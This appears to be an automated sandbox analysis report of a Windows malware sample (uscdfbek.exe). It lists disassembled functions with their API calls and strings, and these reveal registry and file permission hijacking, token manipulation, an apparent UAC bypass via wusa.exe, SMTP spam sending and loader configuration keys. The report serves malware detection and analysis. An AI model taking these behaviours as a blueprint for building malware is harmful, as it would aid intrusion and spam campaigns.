RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0261A1D1

Part of subcall function 02619966: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 0261999D
Part of subcall function 02619966: RegDeleteValueA.ADVAPI32(?,00000000), ref: 026199BD
Part of subcall function 02619966: RegCloseKey.ADVAPI32(?), ref: 026199C6

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0261A3DB
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0261A3E2
GetDriveTypeA.KERNEL32(00000022), ref: 0261A41D

Strings

\, xrefs: 02619F73
D, xrefs: 0261A1F5
", xrefs: 0261A142
", xrefs: 0261A2DF
P, xrefs: 0261A011
", xrefs: 0261A3F0

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 2004a96a3fb695a35ebb74482f6fad10186942e4c1f31b0e0affa7522a4f957f
Instruction ID: a428442591a48f7a5758b6520b6dd59f93fa78c3585de0315dd98221bc02c418
Opcode Fuzzy Hash: 2004a96a3fb695a35ebb74482f6fad10186942e4c1f31b0e0affa7522a4f957f
Instruction Fuzzy Hash: 8BF155B1C41259AFDF11DBA0CD48FEF77BDAB08304F0844AAE609E2151E775AA85CF64

Function 00401000 Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(00000000,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(00000000,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(00000000,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(00000000,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(00000000,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(00000000,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(00000000,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(00000000,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(00000000,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

ntdll.dll, xrefs: 0040100D
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtSetInformationToken, xrefs: 00401175
NtOpenProcessToken, xrefs: 004011D4
RtlSetLastWin32Error, xrefs: 004010D6
NtClose, xrefs: 004011B4
NtTerminateProcess, xrefs: 004010F6
RtlNtStatusToDosError, xrefs: 00401194
NtSetInformationThread, xrefs: 00401155
RtlLengthSid, xrefs: 00401246
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtFilterToken, xrefs: 0040122B
RtlInitUnicodeString, xrefs: 00401135
NtDuplicateToken, xrefs: 004011F3
RtlFreeSid, xrefs: 00401116
NtQueryInformationToken, xrefs: 00401262

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Function 0040B211 Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Sun, xrefs: 0040B225
Thu, xrefs: 0040B241
Sat, xrefs: 0040B24F
Aug, xrefs: 0040B287
Fri, xrefs: 0040B248
Jul, xrefs: 0040B280
Oct, xrefs: 0040B295
Mar, xrefs: 0040B264
Feb, xrefs: 0040B25D
May, xrefs: 0040B272
Dec, xrefs: 0040B2A3
Sep, xrefs: 0040B28E
Apr, xrefs: 0040B26B
Jun, xrefs: 0040B279
Tue, xrefs: 0040B233
Mon, xrefs: 0040B22C
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Jan, xrefs: 0040B256
Wed, xrefs: 0040B23A
Nov, xrefs: 0040B29C

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Function 02617CFC Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 02617D21
GetUserNameA.ADVAPI32(?,?), ref: 02617D46
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02617D7D
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 02617DA2
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 02617DC0
EqualSid.ADVAPI32(?,?), ref: 02617DD1
LocalAlloc.KERNEL32(00000040,00000014), ref: 02617DE5
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02617DF3
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02617E03
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 02617E12
LocalFree.KERNEL32(00000000), ref: 02617E19
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 02617E35

Strings

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 02617F49, 02617F76, 02617F8A, 02617F8B
D, xrefs: 02617D73

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$D
API String ID: 2976863881-3421824669
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: e7bbb1a8db83492ccd64379e8a5bb20af06a80e0ac608be8dd40a425ef388ccd
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 38A16C71900259AFDF12CFA0DC88FEFBBB9FB08345F088169E505E6250D775AA85CB64

Function 00407A95 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,?,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 00407CE2, 00407D0F, 00407D23, 00407D24
D, xrefs: 00407B0C

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$D
API String ID: 2976863881-3421824669
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Function 00406511 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

Jan 13 2018, xrefs: 0040653A
localcfg, xrefs: 0040672D
12:08:32, xrefs: 00406535
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
plgs:, xrefs: 004066AA
%d=%p, xrefs: 004066F9
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
va=%08X%08X uef=%p, xrefs: 00406595
except_info, xrefs: 00406728

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction ID: e6dd37f2d7c7e48b8b359c94d8b0a85da35b73f81cc1d7405eac3f4e783bc3bd
Opcode Fuzzy Hash: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction Fuzzy Hash: 26615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Function 0040A7C1 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299networkstringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

Incorrect respons, xrefs: 0040AB39
Too big smtp respons (%d bytes), xrefs: 0040A9B1
AUTH LOGIN, xrefs: 0040A80C
quit, xrefs: 0040A86C
., xrefs: 0040A8CA
helo %s, xrefs: 0040A803
data, xrefs: 0040A85E
mail from:<%s>, xrefs: 0040A848
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
localcfg, xrefs: 0040AB0B
ehlo %s, xrefs: 0040A7F5
rcpt to:<%s>, xrefs: 0040A855
ESMTP, xrefs: 0040AA38
Too small respons, xrefs: 0040A9C9

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Function 02617A70 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 02617A96
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02617ACD
GetLengthSid.ADVAPI32(?), ref: 02617ADF
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 02617B01
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 02617B1F
EqualSid.ADVAPI32(?,?), ref: 02617B39
LocalAlloc.KERNEL32(00000040,00000014), ref: 02617B4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02617B58
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 02617B68
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 02617B77
LocalFree.KERNEL32(00000000), ref: 02617B7E
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 02617B9A
GetAce.ADVAPI32(?,?,?), ref: 02617BCA
EqualSid.ADVAPI32(?,?), ref: 02617BF1
DeleteAce.ADVAPI32(?,?), ref: 02617C0A
EqualSid.ADVAPI32(?,?), ref: 02617C2C
LocalAlloc.KERNEL32(00000040,00000014), ref: 02617CB1
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 02617CBF
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 02617CD0
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 02617CE0
LocalFree.KERNEL32(00000000), ref: 02617CEE

Strings

D, xrefs: 02617AC3

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 9e59ed8d95d15a916874d7ebc3e673ef879492c354e686dc81b426dfa18adb53
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 89813D7190021AEFDB12CFA5DD84FEEFBB8AF08304F18816AE505E6250D775A685CB64

Function 00407809 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Function 00408328 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 004085C8, 004085D5, 004085E5

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe$localcfg
API String ID: 237177642-1775881337
Opcode ID: 9b9e109144e0e2d50cf6e1315f69990f798a8bf7c84e3a195e658084b19d70a6
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: 9b9e109144e0e2d50cf6e1315f69990f798a8bf7c84e3a195e658084b19d70a6
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Function 00401280 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

, xrefs: 00401462
PDGu, xrefs: 0040139A
useless, xrefs: 0040161E
<, xrefs: 00401378
@, xrefs: 00401380
wusa.exe, xrefs: 00401388
D, xrefs: 004015C6
uac, xrefs: 00401628
%systemroot%\system32\cmd.exe, xrefs: 00401316

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$PDGu$uac$useless$wusa.exe
API String ID: 1628651668-3716895483
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Function 00401D96 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
lid_file_upd, xrefs: 00401E25
kernel32, xrefs: 00401DF7
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
start_srv, xrefs: 00401E6C
work_srv, xrefs: 00401E5E
loader_id, xrefs: 00401F4B, 00401F6B
born_date, xrefs: 00401EAD, 00401ECC
IsWow64Process, xrefs: 00401DF2
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
net_type, xrefs: 00401E87

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 9f3abc139dc6c88613093014c78d45ea21c86ec42b9258ba851d748653af05de
Instruction ID: 8f9aaa01d81d5e00f35a14cef107f65a3e8f5b831808d54868c05c9eb27f2f66
Opcode Fuzzy Hash: 9f3abc139dc6c88613093014c78d45ea21c86ec42b9258ba851d748653af05de
Instruction Fuzzy Hash: D451D9B05043446FD320AF768C85F67BAECEB84708F04493FF955A2292D7BDA94487A9

Function 0040199C Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 106memorylibraryloaderCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

123.45.67.89, xrefs: 004019A6
localcfg, xrefs: 004019A3
GetBestInterface, xrefs: 004019EF
GetAdaptersInfo, xrefs: 004019DC
Iphlpapi.dll, xrefs: 004019B7
GetIfEntry, xrefs: 004019E4

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg
API String ID: 835516345-270533642
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Function 0261858F Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 0261865A
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 0261867B
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 026186A8
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 026186B1

Strings

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 0261882F, 0261883C, 0261884C
", xrefs: 0261896C

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe
API String ID: 237177642-3619810148
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 7321bf279ce5c8db16d4deb5f206279f022fb133ddab661458120649b34cf447
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: 20C1B271900248BEFB11EBA4DC85EEF7BBDEF04304F184069F604E3150EB71AA949B69

Function 00402A62 Relevance: 27.2, APIs: 18, Instructions: 194networkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,7591F380), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,7591F380), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
